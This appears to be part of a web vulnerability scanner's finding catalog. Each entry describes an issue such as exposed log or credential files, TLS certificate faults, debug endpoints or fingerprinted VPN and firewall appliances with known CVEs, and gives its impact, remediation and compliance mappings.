CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: AC-3
PCI DSS 4: 1.3.1
MEDIUM FR-455 — Information Disclosure: Internal IP in HTTP Response
Description: The HTTP response body or headers contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16), disclosing internal network topology.
Impact: An attacker learns internal addressing, which aids lateral-movement planning, infrastructure mapping, and targeted exploitation of internal services.
Remediation: Remove internal IP addresses from HTTP response bodies, error messages, and headers. Configure application error handling to suppress internal details. Review proxy and load-balancer configurations to strip internal addresses from forwarded headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.10
MEDIUM FR-456 — Application Responses Identify Valid Accounts
Description: Login endpoint responses differ between valid and invalid usernames, allowing attackers to enumerate valid accounts through status codes, body length, error messages, or timing differences.
Impact: An attacker can confirm which usernames exist in the system, enabling targeted credential attacks (brute force, credential stuffing) and social engineering.
Remediation: Return identical responses (status code, body length, content, and timing) for all login attempts regardless of whether the username exists. Use generic error messages like 'Invalid credentials'.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
HIGH FR-457 — Authorization Gaps — Unauthenticated Access to Restricted Paths
Description: Administrative or restricted paths are accessible without authentication, indicating missing or misconfigured access controls.
Impact: An attacker can access administrative functions, sensitive data, or configuration interfaces without valid credentials, potentially leading to full application compromise.
Remediation: Implement proper access controls on all administrative and restricted paths. Deny access by default and require authentication and appropriate authorization.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A01:2025 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
MEDIUM FR-458 — HTTP Parameter Pollution (Reflected)
Description: Duplicate HTTP parameters are processed and reflected in responses, potentially allowing attackers to bypass input validation or inject malicious content.
Impact: An attacker can inject a second parameter value that overrides or appends to the first, bypassing WAF rules, input filters, or business logic validation.
Remediation: Validate and reject duplicate parameters. Use framework-level parameter parsing that selects only the first occurrence. Encode all reflected user input.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A03:2025 Injection
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-459 — Improper Error Handling — Server Error Exposed
Description: Server returns HTTP 5xx error responses with detailed error information including stack traces, database errors, or debug output.
Impact: Detailed error messages disclose implementation details (language, framework, file paths, database type, SQL queries) that aid targeted exploitation.
Remediation: Implement custom error pages that suppress stack traces. Disable debug mode in production. Log detailed errors server-side only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-11
PCI DSS 4: 6.5.5
MEDIUM FR-460 — Insecure HTTPS to HTTP Redirect Detected
Description: Redirect chains downgrade from HTTPS to HTTP, exposing session tokens, credentials, and sensitive data to network-level interception.
Impact: An attacker performing a man-in-the-middle attack can intercept credentials, session tokens, and sensitive data transmitted over the unencrypted HTTP connection.
Remediation: Ensure all redirects maintain HTTPS. Configure HSTS to prevent protocol downgrades. Review server redirect configurations.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-460b — Form Submits to HTTP from HTTPS Page
Description: Forms on HTTPS pages submit data to HTTP endpoints, exposing form data (potentially including credentials) to network interception.
Impact: Credentials or sensitive data submitted through the form travel over unencrypted HTTP, vulnerable to man-in-the-middle interception.
Remediation: Change all form action URLs to use HTTPS. Enable HSTS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
LOW FR-461 — Information Disclosure: Internal Hostname in HTTP Response
Description: HTTP response headers or body contain internal hostnames (.local, .internal, .corp, .lan, etc.), disclosing naming conventions and network topology.
Impact: Internal hostnames reveal infrastructure naming patterns and topology, aiding reconnaissance and potentially enabling blind SSRF attacks when callback parameters exist.
Remediation: Remove internal hostnames from HTTP response headers (Server, Via, X-Powered-By, X-Backend-Server) and response bodies. Configure reverse proxies to strip internal routing headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.10
LOW FR-464 — Unhandled Application Exception Disclosed
Description: HTTP responses contain exception class names, stack traces, or debug output patterns from various frameworks (Python, Java, .NET, PHP, Node.js, Ruby, SQL).
Impact: Exception details disclose implementation language, framework version, file paths, database type, and SQL queries, significantly reducing the effort needed for targeted exploitation.
Remediation: Implement custom error pages. Disable debug mode in production. Log exceptions server-side only. Never expose stack traces in HTTP responses.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
PCI DSS 4: 6.5.5
INFO FR-465 — Outdated or Unnecessary Website Detected
Description: The website shows indicators of being outdated, abandoned, or unnecessary: old copyright dates, 'under construction' text, default CMS/server pages, or stale Last-Modified headers.
Impact: Outdated or unnecessary websites expand the attack surface with unpatched software and forgotten configurations that are less likely to be monitored.
Remediation: Review whether this website is still needed. If not, decommission it. If needed, update its content and underlying software.
Effort: Moderate
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-8
HIGH FR-466 — Log File Publicly Accessible
Description: The web server exposes log file(s) to unauthenticated users. Log files commonly contain internal IP addresses, stack traces, usernames, session tokens, SQL queries, and file system paths. CWE-532, CWE-200.
Impact: Attackers can harvest internal paths, database query patterns, user data, session tokens, and credentials from exposed log files. This information enables targeted exploitation of backend systems, privilege escalation, and lateral movement.
Remediation: Remove log files from web-accessible directories. Configure web servers to deny access to log file extensions (.log). Move log storage outside the document root. In Apache: <FilesMatch ".log$"> Require all denied </FilesMatch>. In nginx: location ~* \.log$ { deny all; }.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
LOW FR-467 — Password Field With Autocomplete Enabled
Description: Password input fields do not set autocomplete='off', allowing browsers to cache entered passwords.
Impact: On shared workstations, cached passwords can be retrieved by subsequent users, compromising accounts.
Remediation: Set autocomplete='off' or autocomplete='new-password' on all password input fields.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A04:2025 Insecure Design
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
CRITICAL FR-468 — Information Disclosure: Cloud Credentials in File
Description: Cloud or CI/CD credential file(s) are accessible via the web, containing API keys, access tokens, database passwords, and service account credentials. Covers AWS credentials, Docker config, Kubernetes config, NPM config, Git credentials, and PostgreSQL password files. CWE-540, CWE-200.
Impact: Attackers gain direct access to cloud infrastructure, container registries, Kubernetes clusters, or package repositories using the disclosed credentials. This enables data exfiltration, resource hijacking, supply chain attacks, and full infrastructure compromise.
Remediation: Immediately rotate all credentials found in exposed files. Remove credential files from the web-accessible directory. Add dot-files and credential paths to the web server deny list. Use IAM roles and managed identities instead of static credential files. Never store credential files in the document root.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SC-28, IA-5
PCI DSS 4: 2.2.1
CRITICAL FR-469 — Terraform State File Exposed
Description: Terraform state file is accessible via the web, containing infrastructure secrets, API keys, database passwords, and complete cloud resource inventory.
Impact: Full infrastructure credential compromise — database passwords, API keys, cloud resource details enabling lateral movement and data exfiltration.
Remediation: Store Terraform state in a secure remote backend (S3+DynamoDB, Terraform Cloud). Never serve state files via a web server.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SC-28
PCI DSS 4: 2.2.1
MEDIUM FR-470 — Sensitive Data Exposed in HTML Comments
Description: HTML comments in page source contain sensitive keywords such as passwords, API keys, connection strings, or tokens.
Impact: Credentials, API keys, or connection strings in HTML comments are visible to any user viewing page source, enabling direct account or service compromise.
Remediation: Remove sensitive data from HTML comments. Implement build processes that strip comments from production output. Conduct code reviews for comment hygiene.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
HIGH FR-471 — Exposed Admin/Debug Endpoint: /_ray/api/health
Description: Spatie Ray debug tool is accessible at /_ray/api/health. Ray allows remote code inspection and can expose application internals in production.
Impact: Attackers can inspect application state, variables, queries, and stack traces through the Ray debug interface, gaining deep application knowledge for exploitation.
Remediation: Remove Spatie Ray from production. Restrict debug tools to development environments only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A09:2025 Security Logging and Monitoring Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AU-9
PCI DSS 4: 6.2.4
HIGH FR-472 — Exposed Admin/Debug Endpoint: Express.js Default Error
Description: Express.js default error handler returns stack traces to clients, disclosing file paths, module versions, and application structure.
Impact: Stack traces reveal internal file paths, module names, and line numbers that attackers use to plan targeted exploitation of known framework vulnerabilities.
Remediation: Implement custom error handlers in Express.js. Set NODE_ENV=production to suppress stack traces. Never return error details to clients.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A09:2025 Security Logging and Monitoring Failures
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
MEDIUM FR-473 — WebDAV PROPFIND Response Discloses Server Information
Description: The server responds to unauthenticated PROPFIND requests with WebDAV property data, disclosing file metadata and directory structure.
Impact: Attackers can enumerate server directory structure and file metadata without authentication, mapping the application for targeted attacks.
Remediation: Disable WebDAV on the web server unless required. Restrict PROPFIND to authenticated users. Block PROPFIND at the reverse proxy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM FR-474 — WebDAV Methods Enabled
Description: The web server advertises WebDAV methods (PROPFIND, MKCOL, COPY, MOVE, LOCK, UNLOCK), enabling remote file manipulation capabilities.
Impact: WebDAV methods can allow unauthenticated file upload, modification, or deletion. Historical vulnerabilities like CVE-2017-7269 demonstrate RCE risk.
Remediation: Disable WebDAV unless explicitly required. If required, enforce authentication and restrict to authorized users only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1505.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM FR-475 — Password Reset Token Exposed in URL
Description: Password reset functionality includes the reset token in URL query parameters, exposing it in logs, browser history, and Referer headers.
Impact: Reset tokens in URLs can be harvested from server logs, proxy caches, browser history, and Referer headers, enabling account takeover.
Remediation: Transmit reset tokens via POST body or HTTP headers, not URL query parameters. Implement short-lived, single-use tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
LOW FR-476 — Information Disclosure: ETag
Description: The ETag response header follows the Apache inode-size-mtime format, disclosing filesystem inode numbers that can fingerprint shared hosting.
Impact: Inode values reveal file identity and can be used to detect shared hosting, map filesystem structure, and fingerprint specific web servers.
Remediation: Configure Apache: FileETag MTime Size (remove INode). For nginx, ETag is based on modification time and size by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
LOW FR-477 — Information Disclosure: Internal Hostname in SAN
Description: The TLS certificate's Subject Alternative Names include internal hostnames that disclose naming conventions and network topology.
Impact: Internal hostnames in certificates reveal naming conventions, infrastructure topology, and internal service locations to external attackers.
Remediation: Issue separate certificates for internal and external services. Remove internal hostnames from externally visible certificate SANs.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
LOW FR-478 — Cloud Storage Bucket URL Exposed
Description: Cloud storage bucket URLs (AWS S3, Google Cloud Storage, Azure Blob) are exposed in page content, enabling cloud infrastructure reconnaissance.
Impact: Exposed bucket URLs enable attackers to test for misconfigured public access, potentially accessing sensitive data stored in the cloud.
Remediation: Serve static assets through a CDN with a custom domain. Restrict bucket access policies. Do not store sensitive data in publicly referenced buckets.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: SC-7
HIGH FR-479 — Exposed Admin/Debug Endpoint: /_ignition/execute-solution
Description: Laravel Ignition execute-solution endpoint is accessible, potentially enabling remote code execution via CVE-2021-3129.
Impact: CVE-2021-3129 allows unauthenticated RCE through the Ignition execute-solution endpoint by chaining log file manipulation with PHP deserialization.
Remediation: Upgrade Laravel Ignition to a patched version. Remove debug tools from production. Set APP_DEBUG=false.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A09:2025 Security Logging and Monitoring Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CISA KEV
MEDIUM FR-480 — HTTP Methods: Unsafe Methods Enabled
Description: The server advertises potentially dangerous HTTP methods (PUT, DELETE, TRACE, PATCH, WebDAV) via OPTIONS that may allow file manipulation or cross-site tracing.
Impact: Unsafe methods can enable file upload (PUT), deletion (DELETE), cross-site tracing (TRACE), or remote file manipulation (WebDAV), depending on server configuration.
Remediation: Disable unnecessary HTTP methods in web server configuration. Only allow GET, POST, HEAD, and OPTIONS. Restrict WebDAV methods unless explicitly required.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
LOW FR-481 — Overly Permissive Permissions-Policy Header
Description: The Permissions-Policy (or Feature-Policy) header grants wildcard (*) access to sensitive browser features such as camera, microphone, geolocation, or payment. This allows any third-party iframe or embedded content to access these device capabilities, increasing the risk of privacy violations and data exfiltration. CWE-16.
Impact: Third-party content embedded in iframes can access the user's camera, microphone, geolocation, or payment APIs without restriction. A compromised or malicious third-party script can silently activate these features for surveillance or data theft.
Remediation: Restrict sensitive features in the Permissions-Policy header to self only or disable them entirely. Replace wildcard (*) values with specific origins or empty allowlists: Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=().
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-28
PCI DSS 4: 6.2.4
HIGH FR-482 — Expired TLS Certificate Detected
Description: The TLS certificate presented by the server has passed its notAfter date and is no longer valid. Expired certificates break trust chain validation and cause browser warnings, which train users to bypass security prompts. An expired certificate may also indicate a forgotten or unmaintained service.
Impact: Users encounter certificate warnings and may click through them, normalizing the bypass of TLS trust validation. An attacker could perform a man-in-the-middle attack more easily when users are conditioned to ignore certificate errors. The expired certificate may also indicate the service is unmaintained and potentially vulnerable.
Remediation: Renew the TLS certificate immediately through the issuing Certificate Authority. Configure automated certificate renewal (e.g. via certbot/ACME) and monitoring alerts for certificates approaching expiration.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-12, SC-17
PCI DSS 4: 4.2.1
MEDIUM FR-483 — Self-Signed TLS Certificate
Description: The server presents a self-signed TLS certificate that is not issued by a trusted Certificate Authority. Self-signed certificates are not validated by browsers or TLS clients by default, indicating the service may not be production-hardened or is using a private PKI without proper trust distribution.
Impact: Users must manually trust the certificate or bypass browser warnings, which normalizes ignoring TLS errors and makes man-in-the-middle attacks feasible. A self-signed certificate on an internet-facing service suggests it may be a development, staging, or unmaintained system with weaker security controls.
Remediation: Replace the self-signed certificate with one issued by a trusted public Certificate Authority (e.g. Let's Encrypt, DigiCert). If a private CA is required, ensure its root certificate is distributed to all intended clients.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM FR-484 — TLS Certificate Hostname Mismatch
Description: The TLS certificate presented by the server does not match the hostname being accessed. The certificate's Common Name (CN) and Subject Alternative Name (SAN) entries do not include the domain name used to reach the service. This may indicate a misconfiguration, a shared certificate, or a reused certificate from a different service.
Impact: Browsers and TLS clients will reject the connection or display warnings, which users may bypass. A hostname mismatch can indicate the service was deployed hastily, is using a certificate intended for another domain, or is sharing infrastructure with other services — all of which leak information about the environment.
Remediation: Ensure the TLS certificate's Common Name (CN) or Subject Alternative Name (SAN) entries include all hostnames the server is accessed by. Reissue the certificate with the correct domain names if needed.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
HIGH FR-485 — Revoked TLS Certificate Detected
Description: The TLS certificate presented by the server has been revoked by its issuing Certificate Authority. Certificate revocation typically occurs due to key compromise, CA compromise, or administrative decommission. A revoked certificate should not be trusted for any purpose.
Impact: A revoked certificate may indicate that the private key was compromised, potentially allowing an attacker to impersonate the server. Clients that check CRL/OCSP will reject the connection, but not all clients perform revocation checking, leaving some users vulnerable to man-in-the-middle attacks using the compromised key.
Remediation: Replace the revoked certificate immediately with a new certificate from a trusted CA. Investigate the reason for revocation — if key compromise is suspected, generate a new key pair. Rotate any credentials or secrets that may have been exposed.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-12, SC-17
PCI DSS 4: 4.2.1
INFO FR-486 — TLS Certificate SAN Enumeration
Description: The TLS certificate presented by the server contains multiple Subject Alternative Name (SAN) entries, revealing additional hostnames and services hosted on this infrastructure. SAN enumeration is a passive reconnaissance technique that exposes the scope of services behind a single certificate.
Impact: An attacker can enumerate additional attack surface by reviewing SAN entries, discovering internal hostnames, staging environments, or related services that may have weaker security controls. Shared certificates also indicate infrastructure relationships between the listed domains.
Remediation: Review SAN entries to ensure no unintended hostnames (internal names, staging environments, decommissioned services) are exposed. Use separate certificates for services that should not be associated publicly.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-8
HIGH FR-487 — Ivanti Cloud Services Appliance (CSA) Detected
Description: The TLS certificate fingerprint identifies this host as an Ivanti Cloud Services Appliance (CSA). Ivanti CSA has been the target of multiple critical actively-exploited zero-day vulnerabilities including path traversal (CVE-2024-8963), SQL injection (CVE-2024-9379), OS command injection (CVE-2024-8190), and another OS command injection (CVE-2024-9380).
Impact: An attacker can chain these vulnerabilities to achieve unauthenticated remote code execution on the CSA appliance. Successful exploitation provides full administrative access to the appliance and the ability to pivot into the internal network. CISA has issued emergency directives for these vulnerabilities.
Remediation: Verify the Ivanti CSA is running the latest patched firmware version. Apply all available security patches immediately. If running CSA 4.6, migrate to CSA 5.0 as version 4.6 has reached end-of-life. Monitor CISA KEV catalogue for new Ivanti advisories.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access), T1133 (Persistence)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
CISA KEV
HIGH FR-488 — Pulse Secure / Ivanti Connect Secure VPN Detected
Description: The TLS certificate fingerprint identifies this host as a Pulse Secure / Ivanti Connect Secure VPN appliance. This product line has been the target of critical zero-day exploitation including authentication bypass (CVE-2023-46805) and command injection (CVE-2024-21887), which were chained for unauthenticated RCE.
Impact: An attacker can exploit known vulnerabilities to bypass authentication and execute arbitrary commands on the VPN appliance, gaining access to the internal network. VPN appliances are high-value targets as they provide direct access to corporate networks and are internet-facing by design.
Remediation: Verify the Ivanti Connect Secure appliance is running the latest patched firmware. Apply vendor mitigation XML and patches as directed by Ivanti advisories. Run the Ivanti Integrity Checker Tool (ICT) to detect signs of compromise. Consider factory-resetting the appliance if compromise is suspected.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access), T1133 (Persistence)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-489 — F5 BIG-IP Detected
Description: The TLS certificate fingerprint identifies this host as an F5 BIG-IP appliance. F5 BIG-IP has had critical remote code execution vulnerabilities including CVE-2023-46747 (authentication bypass to RCE) and CVE-2022-1388 (iControl REST unauthenticated RCE).
Impact: An attacker exploiting known F5 BIG-IP vulnerabilities can achieve unauthenticated remote code execution with root privileges on the appliance. As a load balancer/ADC, BIG-IP sits in a privileged network position with visibility into all traffic it proxies, including credentials and session tokens.
Remediation: Verify the F5 BIG-IP is running the latest patched firmware version. Restrict management interface access to trusted networks only. Disable iControl REST on external interfaces if not required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
HIGH FR-490 — Citrix NetScaler / ADC Detected
Description: The TLS certificate fingerprint identifies this host as a Citrix NetScaler or ADC appliance. Citrix ADC has been the target of critical zero-day exploitation including CVE-2023-4966 ('Citrix Bleed', session token leakage) and CVE-2023-3519 (unauthenticated RCE).
Impact: An attacker can exploit Citrix Bleed (CVE-2023-4966) to steal valid session tokens without authentication, bypassing MFA and gaining access to internal resources. CVE-2023-3519 allows unauthenticated remote code execution on the appliance itself. Both were widely exploited in the wild by ransomware operators.
Remediation: Apply Citrix security patches immediately. After patching Citrix Bleed, terminate all active sessions and rotate all credentials — the patch does not invalidate stolen session tokens. Run Citrix-provided IoC scanning tools to check for compromise.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-491 — Fortinet FortiGate Detected
Description: The TLS certificate fingerprint identifies this host as a Fortinet appliance (FortiGate, FortiWeb, or FortiOS-based). FortiOS has been the target of critical zero-day exploitation including CVE-2024-21762 (out-of-bound write in SSL VPN) and CVE-2023-27997 (heap buffer overflow in SSL VPN, 'XORtigate').
Impact: An attacker can exploit known FortiOS vulnerabilities to achieve pre-authentication remote code execution on the firewall appliance. As a perimeter firewall/VPN, FortiGate sits at the network boundary with full visibility into traffic and provides a pivot point into the internal network.
Remediation: Verify the Fortinet appliance is running the latest patched FortiOS firmware. Disable SSL VPN if not required. Restrict management interfaces to trusted networks. Enable logging and monitor for indicators of compromise.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-492 — Palo Alto Networks Detected
Description: The TLS certificate fingerprint identifies this host as a Palo Alto Networks appliance. PAN-OS has been the target of critical zero-day exploitation including CVE-2024-3400 (GlobalProtect command injection with CVSS 10.0), which was actively exploited before a patch was available.
Impact: An attacker can exploit CVE-2024-3400 to achieve unauthenticated remote code execution with root privileges on the firewall through the GlobalProtect gateway. As a next-generation firewall, Palo Alto devices provide full network visibility and can be used to intercept traffic, modify firewall rules, or pivot into the internal network.
Remediation: Verify the Palo Alto appliance is running the latest patched PAN-OS version. Apply hotfixes for CVE-2024-3400 immediately. Restrict management interface access and disable unused GlobalProtect portals. Monitor for indicators of compromise using Palo Alto's threat prevention signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-493 — SonicWall Detected
Description: The TLS certificate fingerprint identifies this host as a SonicWall appliance. SonicWall has had critical vulnerabilities including CVE-2024-40766 (improper access control in SonicOS management and SSLVPN) which was actively exploited by ransomware operators.
Impact: An attacker can exploit known SonicWall vulnerabilities to gain unauthorized access to the firewall management interface or VPN services. SonicWall appliances are perimeter security devices and their compromise provides direct access to the internal network.
Remediation: Verify the SonicWall appliance is running the latest patched firmware version. Restrict SSLVPN and management interface access. Enable MFA for all VPN connections. Monitor for unauthorized access attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-494 — Cisco ASA Detected
Description: The TLS certificate fingerprint identifies this host as a Cisco Adaptive Security Appliance (ASA). Cisco ASA is a widely-deployed firewall/VPN platform that has had numerous critical vulnerabilities over its lifetime, including path traversal, authentication bypass, and remote code execution flaws.
Impact: A Cisco ASA appliance at the network perimeter provides firewall, VPN, and NAT services. Its compromise gives an attacker the ability to modify access control rules, intercept VPN traffic, and pivot into the internal network. ASA's WebVPN and AnyConnect components have historically been targeted.
Remediation: Verify the Cisco ASA is running the latest patched firmware version. Restrict management access to trusted networks. Disable unused VPN profiles and WebVPN features. Monitor syslog for unauthorized access attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-495 — VMware vSphere / ESXi Detected
Description: The TLS certificate fingerprint identifies this host as a VMware vSphere, vCenter, or ESXi host. VMware hypervisor products have been targeted by critical vulnerabilities and are high-value targets for ransomware operators who encrypt entire virtual machine datastores.
Impact: Compromise of a VMware hypervisor gives an attacker control over all virtual machines running on it, including the ability to access VM disks, snapshot memory, and intercept network traffic between VMs. ESXi-targeting ransomware (e.g. ESXiArgs) can encrypt entire datastores, taking down all hosted services simultaneously.
Remediation: Verify VMware ESXi/vCenter is running the latest patched version. Restrict management interfaces (port 443, 902) to a dedicated management VLAN. Disable SSH on ESXi hosts unless actively needed. Enable lockdown mode on ESXi hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
